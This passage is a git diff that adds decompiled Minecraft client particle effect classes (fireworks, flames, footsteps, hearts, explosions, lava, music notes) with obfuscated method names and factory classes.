+        double var26 = p_92038_3_[var23][1];
+        
+        for (double var28 = 0.25D; var28 <= 1.0D; var28 += 0.25D)
+        {
+          double var30 = (var19 + (var24 - var19) * var28) * p_92038_1_;
+          double var32 = (var21 + (var26 - var21) * var28) * p_92038_1_;
+          double var34 = var30 * Math.sin(var17);
+          var30 *= Math.cos(var17);
+          
+          for (double var36 = -1.0D; var36 <= 1.0D; var36 += 2.0D)
+          {
+            createParticle(posX, posY, posZ, var30 * var36, var32, var34 * var36, p_92038_4_, p_92038_5_, p_92038_6_, p_92038_7_);
+          }
+        }
+        
+        var19 = var24;
+        var21 = var26;
+      }
+    }
+  }
+  
+
+
+
+  private void createBurst(int[] p_92036_1_, int[] p_92036_2_, boolean p_92036_3_, boolean p_92036_4_)
+  {
+    double var5 = rand.nextGaussian() * 0.05D;
+    double var7 = rand.nextGaussian() * 0.05D;
+    
+    for (int var9 = 0; var9 < 70; var9++)
+    {
+      double var10 = motionX * 0.5D + rand.nextGaussian() * 0.15D + var5;
+      double var12 = motionZ * 0.5D + rand.nextGaussian() * 0.15D + var7;
+      double var14 = motionY * 0.5D + rand.nextDouble() * 0.5D;
+      createParticle(posX, posY, posZ, var10, var14, var12, p_92036_1_, p_92036_2_, p_92036_3_, p_92036_4_);
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX_Factory.java b/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX_Factory.java
new file mode 100644
index 0000000..ae015d9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX_Factory.java
@@ -0,0 +1,16 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+
+public class EntityFireworkStarterFX_Factory implements IParticleFactory
+{
+  private static final String __OBFID = "CL_00002603";
+  
+  public EntityFireworkStarterFX_Factory() {}
+  
+  public EntityFX func_178902_a(int p_178902_1_, net.minecraft.world.World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+    EntityFireworkSparkFX var16 = new EntityFireworkSparkFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_, getMinecrafteffectRenderer);
+    var16.setAlphaF(0.99F);
+    return var16;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFishWakeFX.java b/src/minecraft/net/minecraft/client/particle/EntityFishWakeFX.java
new file mode 100644
index 0000000..fc5db51
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFishWakeFX.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public class EntityFishWakeFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000933";
+  
+  protected EntityFishWakeFX(World worldIn, double p_i45073_2_, double p_i45073_4_, double p_i45073_6_, double p_i45073_8_, double p_i45073_10_, double p_i45073_12_)
+  {
+    super(worldIn, p_i45073_2_, p_i45073_4_, p_i45073_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.30000001192092896D;
+    motionY = (Math.random() * 0.20000000298023224D + 0.10000000149011612D);
+    motionZ *= 0.30000001192092896D;
+    particleRed = 1.0F;
+    particleGreen = 1.0F;
+    particleBlue = 1.0F;
+    setParticleTextureIndex(19);
+    setSize(0.01F, 0.01F);
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+    particleGravity = 0.0F;
+    motionX = p_i45073_8_;
+    motionY = p_i45073_10_;
+    motionZ = p_i45073_12_;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    motionY -= particleGravity;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9800000190734863D;
+    motionY *= 0.9800000190734863D;
+    motionZ *= 0.9800000190734863D;
+    int var1 = 60 - particleMaxAge;
+    float var2 = var1 * 0.001F;
+    setSize(var2, var2);
+    setParticleTextureIndex(19 + var1 % 4);
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002573";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityFishWakeFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFlameFX.java b/src/minecraft/net/minecraft/client/particle/EntityFlameFX.java
new file mode 100644
index 0000000..8045172
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFlameFX.java
@@ -0,0 +1,100 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityFlameFX extends EntityFX
+{
+  private float flameScale;
+  private static final String __OBFID = "CL_00000907";
+  
+  protected EntityFlameFX(World worldIn, double p_i1209_2_, double p_i1209_4_, double p_i1209_6_, double p_i1209_8_, double p_i1209_10_, double p_i1209_12_)
+  {
+    super(worldIn, p_i1209_2_, p_i1209_4_, p_i1209_6_, p_i1209_8_, p_i1209_10_, p_i1209_12_);
+    motionX = (motionX * 0.009999999776482582D + p_i1209_8_);
+    motionY = (motionY * 0.009999999776482582D + p_i1209_10_);
+    motionZ = (motionZ * 0.009999999776482582D + p_i1209_12_);
+    double var10000 = p_i1209_2_ + (rand.nextFloat() - rand.nextFloat()) * 0.05F;
+    var10000 = p_i1209_4_ + (rand.nextFloat() - rand.nextFloat()) * 0.05F;
+    var10000 = p_i1209_6_ + (rand.nextFloat() - rand.nextFloat()) * 0.05F;
+    flameScale = particleScale;
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)) + 4);
+    noClip = true;
+    setParticleTextureIndex(48);
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge;
+    particleScale = (flameScale * (1.0F - var9 * var9 * 0.5F));
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    float var2 = (particleAge + p_70070_1_) / particleMaxAge;
+    var2 = MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    int var3 = super.getBrightnessForRender(p_70070_1_);
+    int var4 = var3 & 0xFF;
+    int var5 = var3 >> 16 & 0xFF;
+    var4 += (int)(var2 * 15.0F * 16.0F);
+    
+    if (var4 > 240)
+    {
+      var4 = 240;
+    }
+    
+    return var4 | var5 << 16;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    float var2 = (particleAge + p_70013_1_) / particleMaxAge;
+    var2 = MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    float var3 = super.getBrightness(p_70013_1_);
+    return var3 * var2 + (1.0F - var2);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9599999785423279D;
+    motionY *= 0.9599999785423279D;
+    motionZ *= 0.9599999785423279D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002602";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityFlameFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFootStepFX.java b/src/minecraft/net/minecraft/client/particle/EntityFootStepFX.java
new file mode 100644
index 0000000..a565feb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFootStepFX.java
@@ -0,0 +1,88 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public class EntityFootStepFX extends EntityFX
+{
+  private static final ResourceLocation field_110126_a = new ResourceLocation("textures/particle/footprint.png");
+  private int footstepAge;
+  private int footstepMaxAge;
+  private TextureManager currentFootSteps;
+  private static final String __OBFID = "CL_00000908";
+  
+  protected EntityFootStepFX(TextureManager p_i1210_1_, World worldIn, double p_i1210_3_, double p_i1210_5_, double p_i1210_7_)
+  {
+    super(worldIn, p_i1210_3_, p_i1210_5_, p_i1210_7_, 0.0D, 0.0D, 0.0D);
+    currentFootSteps = p_i1210_1_;
+    motionX = (this.motionY = this.motionZ = 0.0D);
+    footstepMaxAge = 200;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (footstepAge + p_180434_3_) / footstepMaxAge;
+    var9 *= var9;
+    float var10 = 2.0F - var9 * 2.0F;
+    
+    if (var10 > 1.0F)
+    {
+      var10 = 1.0F;
+    }
+    
+    var10 *= 0.2F;
+    GlStateManager.disableLighting();
+    float var11 = 0.125F;
+    float var12 = (float)(posX - interpPosX);
+    float var13 = (float)(posY - interpPosY);
+    float var14 = (float)(posZ - interpPosZ);
+    float var15 = worldObj.getLightBrightness(new BlockPos(this));
+    currentFootSteps.bindTexture(field_110126_a);
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(770, 771);
+    p_180434_1_.startDrawingQuads();
+    p_180434_1_.func_178960_a(var15, var15, var15, var10);
+    p_180434_1_.addVertexWithUV(var12 - var11, var13, var14 + var11, 0.0D, 1.0D);
+    p_180434_1_.addVertexWithUV(var12 + var11, var13, var14 + var11, 1.0D, 1.0D);
+    p_180434_1_.addVertexWithUV(var12 + var11, var13, var14 - var11, 1.0D, 0.0D);
+    p_180434_1_.addVertexWithUV(var12 - var11, var13, var14 - var11, 0.0D, 0.0D);
+    Tessellator.getInstance().draw();
+    GlStateManager.disableBlend();
+    GlStateManager.enableLighting();
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    footstepAge += 1;
+    
+    if (footstepAge == footstepMaxAge)
+    {
+      setDead();
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 3;
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002601";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityFootStepFX(Minecraft.getMinecraft().getTextureManager(), worldIn, p_178902_3_, p_178902_5_, p_178902_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityHeartFX.java b/src/minecraft/net/minecraft/client/particle/EntityHeartFX.java
new file mode 100644
index 0000000..d7787e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityHeartFX.java
@@ -0,0 +1,96 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityHeartFX extends EntityFX
+{
+  float particleScaleOverTime;
+  private static final String __OBFID = "CL_00000909";
+  
+  protected EntityHeartFX(World worldIn, double p_i1211_2_, double p_i1211_4_, double p_i1211_6_, double p_i1211_8_, double p_i1211_10_, double p_i1211_12_)
+  {
+    this(worldIn, p_i1211_2_, p_i1211_4_, p_i1211_6_, p_i1211_8_, p_i1211_10_, p_i1211_12_, 2.0F);
+  }
+  
+  protected EntityHeartFX(World worldIn, double p_i46354_2_, double p_i46354_4_, double p_i46354_6_, double p_i46354_8_, double p_i46354_10_, double p_i46354_12_, float p_i46354_14_)
+  {
+    super(worldIn, p_i46354_2_, p_i46354_4_, p_i46354_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.009999999776482582D;
+    motionY *= 0.009999999776482582D;
+    motionZ *= 0.009999999776482582D;
+    motionY += 0.1D;
+    particleScale *= 0.75F;
+    particleScale *= p_i46354_14_;
+    particleScaleOverTime = particleScale;
+    particleMaxAge = 16;
+    noClip = false;
+    setParticleTextureIndex(80);
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (particleScaleOverTime * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (posY == prevPosY)
+    {
+      motionX *= 1.1D;
+      motionZ *= 1.1D;
+    }
+    
+    motionX *= 0.8600000143051147D;
+    motionY *= 0.8600000143051147D;
+    motionZ *= 0.8600000143051147D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class AngryVillagerFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002600";
+    
+    public AngryVillagerFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntityHeartFX var16 = new EntityHeartFX(worldIn, p_178902_3_, p_178902_5_ + 0.5D, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setParticleTextureIndex(81);
+      var16.setRBGColorF(1.0F, 1.0F, 1.0F);
+      return var16;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002599";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityHeartFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityHugeExplodeFX.java b/src/minecraft/net/minecraft/client/particle/EntityHugeExplodeFX.java
new file mode 100644
index 0000000..d196dab
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityHugeExplodeFX.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityHugeExplodeFX
+  extends EntityFX
+{
+  private int timeSinceStart;
+  private int maximumTime = 8;
+  private static final String __OBFID = "CL_00000911";
+  
+  protected EntityHugeExplodeFX(World worldIn, double p_i1214_2_, double p_i1214_4_, double p_i1214_6_, double p_i1214_8_, double p_i1214_10_, double p_i1214_12_)
+  {
+    super(worldIn, p_i1214_2_, p_i1214_4_, p_i1214_6_, 0.0D, 0.0D, 0.0D);
+  }
+  
+
+
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_) {}
+  
+
+  public void onUpdate()
+  {
+    for (int var1 = 0; var1 < 6; var1++)
+    {
+      double var2 = posX + (rand.nextDouble() - rand.nextDouble()) * 4.0D;
+      double var4 = posY + (rand.nextDouble() - rand.nextDouble()) * 4.0D;
+      double var6 = posZ + (rand.nextDouble() - rand.nextDouble()) * 4.0D;
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_LARGE, var2, var4, var6, timeSinceStart / maximumTime, 0.0D, 0.0D, new int[0]);
+    }
+    
+    timeSinceStart += 1;
+    
+    if (timeSinceStart == maximumTime)
+    {
+      setDead();
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 1;
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002597";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityHugeExplodeFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityLargeExplodeFX.java b/src/minecraft/net/minecraft/client/particle/EntityLargeExplodeFX.java
new file mode 100644
index 0000000..cef2ba0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityLargeExplodeFX.java
@@ -0,0 +1,100 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public class EntityLargeExplodeFX extends EntityFX
+{
+  private static final ResourceLocation field_110127_a = new ResourceLocation("textures/entity/explosion.png");
+  
+  private int field_70581_a;
+  
+  private int field_70584_aq;
+  private TextureManager theRenderEngine;
+  private float field_70582_as;
+  private static final String __OBFID = "CL_00000910";
+  
+  protected EntityLargeExplodeFX(TextureManager p_i1213_1_, World worldIn, double p_i1213_3_, double p_i1213_5_, double p_i1213_7_, double p_i1213_9_, double p_i1213_11_, double p_i1213_13_)
+  {
+    super(worldIn, p_i1213_3_, p_i1213_5_, p_i1213_7_, 0.0D, 0.0D, 0.0D);
+    theRenderEngine = p_i1213_1_;
+    field_70584_aq = (6 + rand.nextInt(4));
+    particleRed = (this.particleGreen = this.particleBlue = rand.nextFloat() * 0.6F + 0.4F);
+    field_70582_as = (1.0F - (float)p_i1213_9_ * 0.5F);
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    int var9 = (int)((field_70581_a + p_180434_3_) * 15.0F / field_70584_aq);
+    
+    if (var9 <= 15)
+    {
+      theRenderEngine.bindTexture(field_110127_a);
+      float var10 = var9 % 4 / 4.0F;
+      float var11 = var10 + 0.24975F;
+      float var12 = var9 / 4 / 4.0F;
+      float var13 = var12 + 0.24975F;
+      float var14 = 2.0F * field_70582_as;
+      float var15 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+      float var16 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+      float var17 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableLighting();
+      net.minecraft.client.renderer.RenderHelper.disableStandardItemLighting();
+      p_180434_1_.startDrawingQuads();
+      p_180434_1_.func_178960_a(particleRed, particleGreen, particleBlue, 1.0F);
+      p_180434_1_.func_178980_d(0.0F, 1.0F, 0.0F);
+      p_180434_1_.func_178963_b(240);
+      p_180434_1_.addVertexWithUV(var15 - p_180434_4_ * var14 - p_180434_7_ * var14, var16 - p_180434_5_ * var14, var17 - p_180434_6_ * var14 - p_180434_8_ * var14, var11, var13);
+      p_180434_1_.addVertexWithUV(var15 - p_180434_4_ * var14 + p_180434_7_ * var14, var16 + p_180434_5_ * var14, var17 - p_180434_6_ * var14 + p_180434_8_ * var14, var11, var12);
+      p_180434_1_.addVertexWithUV(var15 + p_180434_4_ * var14 + p_180434_7_ * var14, var16 + p_180434_5_ * var14, var17 + p_180434_6_ * var14 + p_180434_8_ * var14, var10, var12);
+      p_180434_1_.addVertexWithUV(var15 + p_180434_4_ * var14 - p_180434_7_ * var14, var16 - p_180434_5_ * var14, var17 + p_180434_6_ * var14 - p_180434_8_ * var14, var10, var13);
+      Tessellator.getInstance().draw();
+      GlStateManager.doPolygonOffset(0.0F, 0.0F);
+      GlStateManager.enableLighting();
+    }
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 61680;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    field_70581_a += 1;
+    
+    if (field_70581_a == field_70584_aq)
+    {
+      setDead();
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 3;
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002598";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityLargeExplodeFX(Minecraft.getMinecraft().getTextureManager(), worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityLavaFX.java b/src/minecraft/net/minecraft/client/particle/EntityLavaFX.java
new file mode 100644
index 0000000..2c17315
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityLavaFX.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityLavaFX extends EntityFX
+{
+  private float lavaParticleScale;
+  private static final String __OBFID = "CL_00000912";
+  
+  protected EntityLavaFX(World worldIn, double p_i1215_2_, double p_i1215_4_, double p_i1215_6_)
+  {
+    super(worldIn, p_i1215_2_, p_i1215_4_, p_i1215_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.800000011920929D;
+    motionY *= 0.800000011920929D;
+    motionZ *= 0.800000011920929D;
+    motionY = (rand.nextFloat() * 0.4F + 0.05F);
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    particleScale *= (rand.nextFloat() * 2.0F + 0.2F);
+    lavaParticleScale = particleScale;
+    particleMaxAge = ((int)(16.0D / (Math.random() * 0.8D + 0.2D)));
+    noClip = false;
+    setParticleTextureIndex(49);
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    float var2 = (particleAge + p_70070_1_) / particleMaxAge;
+    var2 = net.minecraft.util.MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    int var3 = super.getBrightnessForRender(p_70070_1_);
+    short var4 = 240;
+    int var5 = var3 >> 16 & 0xFF;
+    return var4 | var5 << 16;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge;
+    particleScale = (lavaParticleScale * (1.0F - var9 * var9));
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    float var1 = particleAge / particleMaxAge;
+    
+    if (rand.nextFloat() > var1)
+    {
+      worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, posX, posY, posZ, motionX, motionY, motionZ, new int[0]);
+    }
+    
+    motionY -= 0.03D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9990000128746033D;
+    motionY *= 0.9990000128746033D;
+    motionZ *= 0.9990000128746033D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002595";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityLavaFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityNoteFX.java b/src/minecraft/net/minecraft/client/particle/EntityNoteFX.java
new file mode 100644
index 0000000..88e3540
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityNoteFX.java
@@ -0,0 +1,86 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityNoteFX extends EntityFX
+{
+  float noteParticleScale;
+  private static final String __OBFID = "CL_00000913";
+  
+  protected EntityNoteFX(World worldIn, double p_i46353_2_, double p_i46353_4_, double p_i46353_6_, double p_i46353_8_, double p_i46353_10_, double p_i46353_12_)
+  {
+    this(worldIn, p_i46353_2_, p_i46353_4_, p_i46353_6_, p_i46353_8_, p_i46353_10_, p_i46353_12_, 2.0F);
+  }
+  
+  protected EntityNoteFX(World worldIn, double p_i1217_2_, double p_i1217_4_, double p_i1217_6_, double p_i1217_8_, double p_i1217_10_, double p_i1217_12_, float p_i1217_14_)
+  {
+    super(worldIn, p_i1217_2_, p_i1217_4_, p_i1217_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.009999999776482582D;
+    motionY *= 0.009999999776482582D;
+    motionZ *= 0.009999999776482582D;
+    motionY += 0.2D;
+    particleRed = (MathHelper.sin(((float)p_i1217_8_ + 0.0F) * 3.1415927F * 2.0F) * 0.65F + 0.35F);
+    particleGreen = (MathHelper.sin(((float)p_i1217_8_ + 0.33333334F) * 3.1415927F * 2.0F) * 0.65F + 0.35F);
+    particleBlue = (MathHelper.sin(((float)p_i1217_8_ + 0.6666667F) * 3.1415927F * 2.0F) * 0.65F + 0.35F);
+    particleScale *= 0.75F;
+    particleScale *= p_i1217_14_;
+    noteParticleScale = particleScale;
+    particleMaxAge = 6;
+    noClip = false;
+    setParticleTextureIndex(64);
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (noteParticleScale * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (posY == prevPosY)
+    {
+      motionX *= 1.1D;
+      motionZ *= 1.1D;
+    }
+    
+    motionX *= 0.6600000262260437D;
+    motionY *= 0.6600000262260437D;
+    motionZ *= 0.6600000262260437D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002592";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityNoteFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityParticleEmitter.java b/src/minecraft/net/minecraft/client/particle/EntityParticleEmitter.java
new file mode 100644
index 0000000..a6bf292
--- /dev/null
